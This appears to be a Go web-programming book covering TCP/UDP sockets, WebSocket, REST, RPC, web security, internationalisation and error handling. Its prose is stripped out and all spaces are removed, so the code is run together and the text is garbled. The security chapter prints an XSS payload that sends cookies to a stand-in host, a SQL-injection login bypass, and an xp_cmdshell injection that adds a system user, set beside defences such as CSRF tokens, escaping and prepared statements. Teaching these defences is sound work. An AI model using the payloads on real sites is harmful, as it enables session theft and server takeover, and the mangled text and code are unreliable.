funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}

funchandleClient(connnet.Conn){deferconn.Close()daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue

//we'refinishedwiththisclient

}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

handleClient gogoroutine

packagemain

import("fmt""net""os""time""strconv""strings")

funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}

funchandleClient(connnet.Conn){conn.SetReadDeadline(time.Now().Add(2*time.Minute))//set2minutestimeoutrequest:=make([]byte,128)//setmaxiumrequestlengtht

o128Btopreventfloodattackdeferconn.Close()//closeconnectionbeforeexitfor{read_len,err:=conn.Read(request)

iferr!=nil{fmt.Println(err)break}

ifread_len==0{break//connectionalreadyclosedbyclient}elseifstrings.TrimSpace(string(request[:read_len]))=="timestamp"{daytime:=strconv.FormatInt(time.Now().Unix(),10)conn.Write([]byte(daytime))}else{daytime:=time.Now().String()conn.Write([]byte(daytime))}

request=make([]byte,128)//clearlastreadcontent}}

funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

conn.Read() conn.SetReadDeadline() connfor requestfloodattackrequest conn.Read()append

TCP

TCP

funcDialTimeout(net,addrstring,timeouttime.Duration)(Conn,error)

func(c*TCPConn)SetReadDeadline(ttime.Time)errorfunc(c*TCPConn)SetWriteDeadline(ttime.Time)error

/

func(c*TCPConn)SetKeepAlive(keepalivebool)os.Error

keepAlivetcpACKkeepalivetcpwindows2keepalivetcp

net

UDPSocket

GoUDPSocketTCPSocket,UDPAcceptTCPUDPUDP

funcResolveUDPAddr(net,addrstring)(*UDPAddr,os.Error)funcDialUDP(netstring,laddr,raddr*UDPAddr)(c*UDPConn,erros.Error)funcListenUDP(netstring,laddr*UDPAddr)(c*UDPConn,erros.Error)func(c*UDPConn)ReadFromUDP(b[]byte)(nint,addr*UDPAddr,erros.Error)func(c*UDPConn)WriteToUDP(b[]byte,addr*UDPAddr)(nint,erros.Error)

UDP,TCPUDP

packagemain

import("fmt""net""os")

funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.DialUDP("udp",nil,udpAddr)checkError(err)_,err=conn.Write([]byte("anything"))checkError(err)varbuf[512]byten,err:=conn.Read(buf[0:])checkError(err)fmt.Println(string(buf[0:n]))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}

UDP

packagemain

import("fmt""net""os""time"

)

funcmain(){service:=":1200"udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.ListenUDP("udp",udpAddr)checkError(err)for{handleClient(conn)}}funchandleClient(conn*net.UDPConn){varbuf[512]byte_,addr,err:=conn.ReadFromUDP(buf[0:])iferr!=nil{return}daytime:=time.Now().String()conn.WriteToUDP([]byte(daytime),addr)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}

TCPUDPSocketGoSocketGoSocket

links

: Web: WebSocket

8.2WebSocketWebSocketHTML5socketFirefoxGoogleChromeSafari

WebSocket“”HTTPRequest“”

WebSocketJavaScriptTCPSocketWebHTTP

WebTCPWebsocket(push)web.

WebSocketURLws://wss://SSLWebSocketHTTPJavaScriptsocket

8.2WebSocket

WebSocket

WebSockethandshake”\x00″”\xFF”WebSocket“”

WebSocket“”(handshaking)

8.3WebSocketrequestresponse

"Sec-WebSocket-Key"base64

258EAFA5-E914-47DA-95CA-C5AB0DC85B11

f7cb4ezEAl6C3wRaU6JORA==

f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

sha1base64

rE91AJhfC+6JdVcVXOGJEADEJdQ=

Sec-WebSocket-Accept

Go WebSocket

GoWebSocketgo.net

gogetgolang.org/x/net/websocket

WebSocket:WebSocketPush

<html><head></head><body><scripttype="text/javascript">varsock=null;varwsuri="ws://127.0.0.1:1234";

window.onload=function(){

console.log("onload");

sock=newWebSocket(wsuri);

sock.onopen=function(){console.log("connectedto"+wsuri);}

sock.onclose=function(e){console.log("connectionclosed("+e.code+")");}

sock.onmessage=function(e){console.log("messagereceived:"+e.data);}};

functionsend(){varmsg=document.getElementById('message').value;

sock.send(msg);};</script><h1>WebSocketEchoTest</h1><form><p>Message:<inputid="message"type="text"value="Hello,world!"></p></form><buttononclick="send();">SendMessage</button></body></html>

JSWebSocketsockWebScoketonopen

1onopen2onmessage3onerror4onclose

packagemain

import("golang.org/x/net/websocket""fmt""log""net/http")

funcEcho(ws*websocket.Conn){varerrerror

for{varreplystring

iferr=websocket.Message.Receive(ws,&reply);err!=nil{

fmt.Println("Can'treceive")break}

fmt.Println("Receivedbackfromclient:"+reply)

msg:="Received:"+replyfmt.Println("Sendingtoclient:"+msg)

iferr=websocket.Message.Send(ws,msg);err!=nil{fmt.Println("Can'tsend")break}}}

funcmain(){http.Handle("/",websocket.Handler(Echo))

iferr:=http.ListenAndServe(":1234",nil);err!=nil{log.Fatal("ListenAndServe:",err)}}

SendReceiveSend

8.4WebSocket

WebSocketGonetHTML5WebSocketWeb

links

: Socket: REST

8.3RESTRESTfulGo

REST

REST(REpresentationalStateTransfer)2000RoyThomasFieldingHTTPRESTful

REST:

ResourcesREST""""""""

URIURI

Representation

txthtmljsonxmljpgpng

URIHTTPAcceptContent-Type""

StateTransfer

HTTP

HTTPHTTPGETPOSTPUTDELETEGETPOSTPUTDELETE

RESTful

1URI23HTTP""

WebREST:,

REST

REST

8.5REST

RESTRESTREST

REST

8.6REST

RESTful

GoRESTRESTfulHTTP net/httpRESTRESTmethodRESTRESTmethod

8.7RESTlevel

RESTlevelRESTfulRESTfulRESTfulHTTP DELETEPUTHTTP GETPOST

HTMLGETPOSTAjaxPUTDELETE

HTTPPUTDELETE PUTDELETEPOSTRESTfulPOSTHTTP

POST_methodPUTDELETERESTGoRESTfulRESTful

packagemain

import("fmt""github.com/julienschmidt/httprouter""log""net/http")

funcIndex(whttp.ResponseWriter,r*http.Request,_httprouter.Params){fmt.Fprint(w,"Welcome!\n")}

funcHello(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){fmt.Fprintf(w,"hello,%s!\n",ps.ByName("name"))

}

funcgetuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaregetuser%s",uid)}

funcmodifyuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaremodifyuser%s",uid)}

funcdeleteuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaredeleteuser%s",uid)}

funcadduser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){//uid:=r.FormValue("uid")uid:=ps.ByName("uid")fmt.Fprintf(w,"youareadduser%s",uid)}

funcmain(){router:=httprouter.New()router.GET("/",Index)router.GET("/hello/:name",Hello)

router.GET("/user/:uid",getuser)router.POST("/adduser/:uid",adduser)router.DELETE("/deluser/:uid",deleteuser)router.PUT("/moduser/:uid",modifyuser)

log.Fatal(http.ListenAndServe(":8080",router))}

RESTmethod github.com/julienschmidt/httprouterRESTRESTmethod

RESTWWWHTTPURIWebURIHTTPInternetRESTWebGoRESTmethodhandleREST

links

: WebSocket: RPC

8.4RPCSocketHTTPSocketHTTP""()

RPC

RPCRemoteProcedureCallProtocol——TCPUDPOSIRPCRPC

RPC

8.8RPC

,RPC,

1.2.3.4.5.6.7.8.9.10.

GoRPC

GoRPCRPCTCPHTTPJSONRPCGoRPCRPCRPCGoGob

GoRPC

()

error

RPC

func(t*T)MethodName(argTypeT1,replyType*T2)error

TT1T2 encoding/gob

RPCGoRPCHTTPTCPHTTP net/http

HTTPRPC

http

packagemain

import("errors""fmt""net/http""net/rpc")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint

}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)rpc.HandleHTTP()

err:=http.ListenAndServe(":1234",nil)iferr!=nil{fmt.Println(err.Error())}}

ArithRPC rpc.HandleHTTPHTTPhttp

packagemain

import("fmt""log""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server")os.Exit(1)}serverAddress:=os.Args[1]

client,err:=rpc.DialHTTP("tcp",serverAddress+":1234")iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

$./http_clocalhostArith:17*8=136

Arith:17/8=2remainder1

struct client.Call23Call3123()GoRPC

TCPRPC

HTTPRPCTCPRPC

packagemain

import("errors""fmt""net""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)

tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)

listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)

for{conn,err:=listener.Accept()iferr!=nil{continue}rpc.ServeConn(conn)}

}

funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}

http:TCPrpc

goroutinesocketgoroutineTCPRPC

packagemain

import("fmt""log""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")os.Exit(1)}service:=os.Args[1]

client,err:=rpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

httpDialHTTPDial(tcp)

JSONRPC

JSONRPCJSONgobRPCGojson-rpc

packagemain

import("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)

tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)

listener,err:=net.ListenTCP("tcp",tcpAddr)

checkError(err)

for{conn,err:=listener.Accept()iferr!=nil{continue}jsonrpc.ServeConn(conn)}

}

funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}

json-rpcTCPHTTP

packagemain

import("fmt""log""net/rpc/jsonrpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{

fmt.Println("Usage:",os.Args[0],"server:port")log.Fatal(1)}service:=os.Args[1]

client,err:=jsonrpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

GoRPCHTTPTCPJSONRPC,WebGoSOAPRPC

links

: REST:

8.5:SocketsocketHTML5WebSocket,pushajaxRESTAPIGoRPCGonet,

links

: RPC:

9WebWebWebCSDNWebGo

Web(XSS)SQL9.39.4

9.2

9.1CSRF

WebCSDN9.5

9.6

links

:: CSRF

9.1 CSRF

CSRF

CSRFCross-siterequestforgeryoneclickattack/sessionridingCSRF/XSRF

CSRFQQ()WebQQ

CSRFCSRFWeb

CSRF

CSRF

9.1CSRF

CSRF

1.ACookie2.AB

“CSRF”

tabtabCookie

CSRF

CSRFWebWeb

CSRF

CSRFCSRF

CSRF2

1GET,POSTCookie2GET

RESTWebWebGETPOSTCookie

1GET

2POST

Go

mux.Get("/user/:uid",getuser)mux.Post("/user/:uid",modifyuser)

POSTGETGETCSRFPOST

GET

cookietokenCookie()CookieXSSXSS

4.4“”

token

h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))io.WriteString(h,"ganraomaxxxxxxxxx")token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)

token

<inputtype="hidden"name="token"value="{{.}}">

token

r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}

POSTtoken211

CSRFWebWeb“”“”Web

links

::

9.2WebWeb

123

“”“”:

GoGo r.ParseFormPOSTGET r.Form r.Header(r.Header.Get("Accept-Charset"),)

“0”

strconvRequest r.Form/ AtoiParseBoolParseFloatParseInt

stringTrimToLowerToTitleregexpEmail

WebMap(CleanMap)

CleanMapMapCleanMap

<formaction="/whoami"method="POST">:<selectname="name"><optionvalue="astaxie">astaxie</option><optionvalue="herry">herry</option><optionvalue="marry">marry</option></select><inputtype="submit"/></form>

POST name=attack

r.ParseForm()name:=r.Form.Get("name")CleanMap:=make(map[string]interface{},0)ifname=="astaxie"||name=="herry"||name=="marry"{CleanMap["name"]=name}

CleanMapname astaxieherrymarryCleanMapCleanMap["name"]else

r.ParseForm()

username:=r.Form.Get("username")CleanMap:=make(map[string]interface{},0)ifok,_:=regexp.MatchString("^[a-zA-Z0-9]+$",username);ok{CleanMap["username"]=username}

WebCSRFXSSSQL

links

: CSRF: XSS

9.3 XSSWeb“”CrossSiteScripting,XSS

XSS

XSS(Cross-SiteScripting)(CascadingStyleSheets,CSS)XSSXSSweb()XSSWebXSScookie

XSSXSS:HtmlWeb->->Web->XSSURL

XSS

cookieFlashcrossdomainJava

iframeframeXMLHttpRequestFlash:XSS

XSSDDoS

XSS

WebHTML(“>”“<”)XSS

XSSXSSurl http://127.0.0.1/?name=astaxie

helloastaxie

url http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;,XSSCookieurl http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;cookiewww.xxx.comURLURLurlurlcookiecookieWebsleuth

XSSXSS

XSS

XSS

XSS

XSSGoHTML

text/templateHTMLEscapeStringJSEscapeString

HTTP

`w.Header().Set("Content-Type","text/javascript")`

javascripthtml

XSSWebXSS

links

:: SQL

9.4 SQL

SQL

SQLSQLInjectionWeb

SQLSQL

SQL

WebSQLSQLSQLSQL

SQL

<formaction="/login"method="POST"><p>Username:<inputtype="text"name="username"/></p><p>Password:<inputtype="password"name="password"/></p><p><inputtype="submit"value="" /></p></form>

SQL

username:=r.Form.Get("username")password:=r.Form.Get("password")sql:="SELECT*FROMuserWHEREusername='"+username+"'ANDpassword='"+password+"'"

myuser'or'foo'='foo'--

SQL

SELECT*FROMuserWHEREusername='myuser'or'foo'='foo'--''ANDpassword='xxx'

SQL--

MSSQLSQLMSSQL

sql:="SELECT*FROMproductsWHEREnameLIKE'%"+prod+"%'"Db.Exec(sql)

a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--prodsql

sql:="SELECT*FROMproductsWHEREnameLIKE'%a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--%'"

MSSQLSQLsaMSSQLSERVER

SQL

SQLDiscuzphpwindphpcmsSQL

cookie

SQL?SQL

1. Web2. regexpstrconv3. '"\&*;Go text/templateHTMLEscapeString

4. SQLSQL database/sqlPrepareQueryExec(querystring,args...interface{})

5. SQLSQLsqlmapSQLninja6. SQLSQLSQL

SQLWebWeb

links

: XSS:

9.5,,–Linkedin,CSDN800“”

Web,,?

(digest)“”SHA-256,SHA-1,MD5

Go

//import"crypto/sha256"h:=sha256.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))

//import"crypto/sha1"h:=sha1.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))

//import"crypto/md5"h:=md5.New()io.WriteString(h,"" )fmt.Printf("%x",h.Sum(nil))

1

2

, rainbowtable

rainbowtable

——

MD5MD5

“”“salt”MD5MD5MD5

//import"crypto/md5"//abc123456h:=md5.New()io.WriteString(h,"" )

//pwmd5e10adc3949ba59abbe56e057f20f883epwmd5:=fmt.Sprintf("%x",h.Sum(nil))

//saltsalt1=@#$%salt2=^&*()salt1:="@#$%"salt2:="^&*()"

//salt1++salt2+MD5io.WriteString(h,salt1)io.WriteString(h,"abc")io.WriteString(h,salt2)io.WriteString(h,pwmd5)

last:=fmt.Sprintf("%x",h.Sum(nil))

salt

rainbowtable

: rainbowtable

rainbowtable

scryptscryptFreeBSDColinPercivalTarsnap

Gohttp://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

dk:=scrypt.Key([]byte("somepassword"),[]byte(salt),16384,8,1,32)

1LastPass2

links

::

9.6

base64

Web base64Go base64

packagemain

import("encoding/base64""fmt")

funcbase64Encode(src[]byte)[]byte{return[]byte(base64.StdEncoding.EncodeToString(src))}

funcbase64Decode(src[]byte)([]byte,error){returnbase64.StdEncoding.DecodeString(string(src))}

funcmain(){//encodehello:="helloworld"debyte:=base64Encode([]byte(hello))fmt.Println(debyte)//decodeenbyte,err:=base64Decode(debyte)iferr!=nil{fmt.Println(err.Error())}

ifhello!=string(enbyte){fmt.Println("helloisnotequaltoenbyte")}

fmt.Println(string(enbyte))}

Gocrypto

crypto/aesAES(AdvancedEncryptionStandard)Rijndaelcrypto/desDES(DataEncryptionStandard)AES

aes

packagemain

import("crypto/aes""crypto/cipher""fmt""os")

varcommonIV=[]byte{0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}

funcmain(){//plaintext:=[]byte("MynameisAstaxie")//plaintiflen(os.Args)>1{plaintext=[]byte(os.Args[1])}

//aeskey_text:="astaxie12798akljzmknm.ahkjkljl;k"iflen(os.Args)>2{key_text=os.Args[2]}

fmt.Println(len(key_text))

//aesc,err:=aes.NewCipher([]byte(key_text))iferr!=nil{fmt.Printf("Error:NewCipher(%dbytes)=%s",len(key_t

ext),err)os.Exit(-1)}

//cfb:=cipher.NewCFBEncrypter(c,commonIV)ciphertext:=make([]byte,len(plaintext))cfb.XORKeyStream(ciphertext,plaintext)fmt.Printf("%s=>%x\n",plaintext,ciphertext)

//cfbdec:=cipher.NewCFBDecrypter(c,commonIV)plaintextCopy:=make([]byte,len(plaintext))cfbdec.XORKeyStream(plaintextCopy,ciphertext)fmt.Printf("%x=>%s\n",ciphertext,plaintextCopy)}

aes.NewCipher(key162432[]byteAES-128,AES-192AES-256),cipher.Block

typeBlockinterface{//BlockSizereturnsthecipher'sblocksize.BlockSize()int

//Encryptencryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Encrypt(dst,src[]byte)

//Decryptdecryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Decrypt(dst,src[]byte)}

Webbase64aesdes

links

::

9.7CSRFXSSSQLWebWebGobase64aesdes

WebWebGoWeb

links

::

10Web

Internationalizationandlocalization,i18nL10N

Goi18ngo-i18nGoi18n

locale

1locale

2locale

3locale

localelocalelocalei18n

links

::

10.1

Locale

Localelocale"en""zh""en_US""en_UK""zh_CN.gb2312"gb2312

GO"UTF-8"i18nlocalei18nlocale

LinuxSolarislocale-aBSDlocale/usr/share/locale

Locale

locale()localelocale

Locale

Localewww.asta.com()www.asta.cnlocale

URL

GomapSEO

locale

ifr.Host=="www.asta.com"{i18n.SetLocale("en")}elseifr.Host=="www.asta.cn"{i18n.SetLocale("zh-CN")}elseifr.Host=="www.asta.tw"{i18n.SetLocale("zh-TW")}

"en.asta.com""cn.asta.com"

prefix:=strings.Split(r.Host,".")

ifprefix[0]=="en"{i18n.SetLocale("en")}elseifprefix[0]=="cn"{i18n.SetLocale("zh-CN")}elseifprefix[0]=="tw"{i18n.SetLocale("zh-TW")}

LocaleWebLocaleurl

Locale

LocaleURLwww.asta.com/hello?locale=zhwww.asta.com/zh/helloi18n.SetLocale(params["locale"])

LocaleRESTfullinklocaleurllink locale=params["locale"]

URLRESTfulwww.asta.com/en/books()www.asta.com/zh/books()URLSEOURLURLrouterlocale(RESTrouter)

mux.Get("/:locale/books",listbook)

URLLocale()IPWeb

Accept-Language

HTTPAccept-LanguageGo Accept-Language

AL:=r.Header.Get("Accept-Language")ifAL=="en"{i18n.SetLocale("en")}elseifAL=="zh-CN"{i18n.SetLocale("zh-CN")}elseifAL=="zh-TW"{i18n.SetLocale("zh-TW")}

IP

IPIPIPGeoIPLiteCountryIPIP

profile

localeprofilelocalelocale

LocaleLocale

links

::

10.2LocaleLocaleLocaleGoJSON(,en.jsonzh-CN.json)

Web:mapkey-valuemap

packagemain

import"fmt"

varlocalesmap[string]map[string]string

funcmain(){locales=make(map[string]map[string]string,2)en:=make(map[string]string,10)en["pea"]="pea"en["bean"]="bean"locales["en"]=en

cn:=make(map[string]string,10)cn["pea"]=""cn["bean"]=""locales["zh-CN"]=cnlang:="zh-CN"fmt.Println(msg(lang,"pea"))fmt.Println(msg(lang,"bean"))}

funcmsg(locale,keystring)string{ifv,ok:=locales[locale];ok{ifv2,ok:=v[key];ok{returnv2}}return""}

localekeylangen

key-value"Iam30yearsold","30"30 fmt.Printf

en["howold"]="Iam%dyearsold"cn["howold"]="%d"

fmt.Printf(msg(lang,"howold"),30)

JSON json.Unmarshalmap

Locale 20121024231113CST : WedOct2423:11:13CST2012:

1.2.

$GOROOT/lib/timetimeinfo.ziplocalelocale time.LoadLocation(namestring)locale Asia/ShanghaiAmerica/Chicago time.NowTime():

en["time_zone"]="America/Chicago"cn["time_zone"]="Asia/Shanghai"

loc,_:=time.LoadLocation(msg(lang,"time_zone"))t:=time.Now()t=t.In(loc)fmt.Println(t.Format(time.RFC3339))

:

en["date_format"]="%Y-%m-%d%H:%M:%S"cn["date_format"]="%Y%m%d%H%M%S"

fmt.Println(date(msg(lang,"date_format"),t))

funcdate(fomatestring,ttime.Time)string{year,month,day=t.Date()hour,min,sec=t.Clock()//%Y%m%d%H%M%S//%Y 2012//%m 10//%d 24}

:

en["money"]="USD%d"cn["money"]="%d"

fmt.Println(date(msg(lang,"date_format"),100))

funcmoney_format(fomatestring,moneyint64)string{returnfmt.Sprintf(fomate,money)}

Localecssjslocale

views|--en//|--images//|--js//JS|--css//cssindex.tpl//login.tpl//|--zh-CN//|--images|--js|--cssindex.tpllogin.tpl

s1,_:=template.ParseFiles("views"+lang+"index.tpl")VV.Lang=langs1.Execute(os.Stdout,VV)

index.tpl

//js<scripttype="text/javascript"src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>

//css<linkhref="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css"rel="stylesheet">//<imgsrc="views/{{.VV.Lang}}/https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/zh/images/btn.png">

langkey-valueLocaleLocale fmt.PrintfLocalelang

links

::

10.3Locale

Localeconfig/localesen.jsonzh.json

#zh.json

{"zh":{"submit":"" ,

"create":""}}

#en.json

{"en":{"submit":"Submit","create":"Create"}}

—— go-i18ngo-i18nconfig/locales,locale

Tr:=i18n.NewLocale()Tr.LoadPath("config/locales")

fmt.Println(Tr.Translate("submit"))//SubmitTr.SetLocale("zn")fmt.Println(Tr.Translate("submit"))//“”

go-i18n

//go-i18n/locales

//zh.jsonen-jsonen-US.json

func(il*IL)loadDefaultTranslations(dirPathstring)error{dir,err:=os.Open(dirPath)iferr!=nil{returnerr}deferdir.Close()

names,err:=dir.Readdirnames(-1)iferr!=nil{returnerr}

for_,name:=rangenames{fullPath:=path.Join(dirPath,name)

fi,err:=os.Stat(fullPath)iferr!=nil{returnerr}

iffi.IsDir(){iferr:=il.loadTranslations(fullPath);err!=nil{returnerr}}elseiflocale:=il.matchingLocaleFromFileName(name);locale!=""{file,err:=os.Open(fullPath)iferr!=nil{returnerr}deferfile.Close()

iferr:=il.loadTranslation(file,locale);err!=nil{returnerr}}}

returnnil}

:

//locale=zh

fmt.Println(Tr.Time(time.Now()))//200910820:37:58CST

fmt.Println(Tr.Time(time.Now(),"long"))//2009108

fmt.Println(Tr.Money(11.11))//:11.11

templatemapfunc

"Tr.Translate""Tr.Time""Tr.Money"Gomapfunc

1.

Tr.TranslatemapFunc

funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Translate(s)}

t.Funcs(template.FuncMap{"T":I18nT})

{{.V.Submit|T}}

1.

Tr.TimemapFunc

funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Time(s)}

t.Funcs(template.FuncMap{"TD":I18nTimeDate})

{{.V.Now|TD}}

1.

Tr.MoneymapFunc

funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Money(s)}

t.Funcs(template.FuncMap{"M":I18nMoney})

{{.V.Money|M}}

Webgo-i18nWebpipeline

links

::

10.4i18ngo-i18n https://github.com/astaxie/go-i18nWebGo

links

::

11""bugbug

Web11.1Go11.2GDB

11.3GoGo

GoWeb

links

::

11.1GoCC-1NULLAPI:0,Goerrorerrornil

os.Opennilerror

funcOpen(namestring)(file*File,errerror)

os.Open log.Fatal

f,err:=os.Open("filename.ext")iferr!=nil{log.Fatal(err)}

os.OpenAPIerrorerrorWeberror

Error

error

typeerrorinterface{Error()string}

error/builtin/errorerrorserrorString

//errorStringisatrivialimplementationoferror.typeerrorStringstruct{sstring}

func(e*errorString)Error()string{returne.s}

errors.NewerrorStringerror

//Newreturnsanerrorthatformatsasthegiventext.funcNew(textstring)error{return&errorString{text}}

errors.New:

funcSqrt(ffloat64)(float64,error){iff<0{return0,errors.New("math:squarerootofnegativenumber")}//implementation}

Sqrtnon-nilerrorniltruefmt.Println(fmterrorError)

f,err:=Sqrt(-1)iferr!=nil{

fmt.Println(err)}

Error

errorinterfaceJson

typeSyntaxErrorstruct{msgstring//Offsetint64//}

func(e*SyntaxError)Error()string{returne.msg}

OffsetError:

iferr:=dec.Decode(&val);err!=nil{ifserr,ok:=err.(*json.SyntaxError);ok{line,col:=findLine(f,serr.Offset)returnfmt.Errorf("%s:%d:%d:%v",f.Name(),line,col,err)}returnerr}

error

funcDecode()*SyntaxError{//err!=niltrue

varerr*SyntaxError//if{err=&SyntaxError{}}returnerr//errnilerr!=niltrue

}

http://golang.org/doc/faq#nil_error

Errornet

packagenet

typeErrorinterface{errorTimeout()bool//Istheerroratimeout?Temporary()bool//Istheerrortemporary?}

errnet.Error,sleep1

ifnerr,ok:=err.(net.Error);ok&&nerr.Temporary(){time.Sleep(1e9)continue}iferr!=nil{log.Fatal(err)}

GoC:

funcinit(){http.HandleFunc("/view",viewRecord)

}

funcviewRecord(whttp.ResponseWriter,r*http.Request){c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{http.Error(w,err.Error(),500)return}iferr:=viewTemplate.Execute(w,record);err!=nil{http.Error(w,err.Error(),500)}}

http.Error500HandleFunc(HTTP)

typeappHandlerfunc(http.ResponseWriter,*http.Request)error

func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){iferr:=fn(w,r);err!=nil{http.Error(w,err.Error(),500)}}

funcinit(){http.Handle("/view",appHandler(viewRecord))}

/view

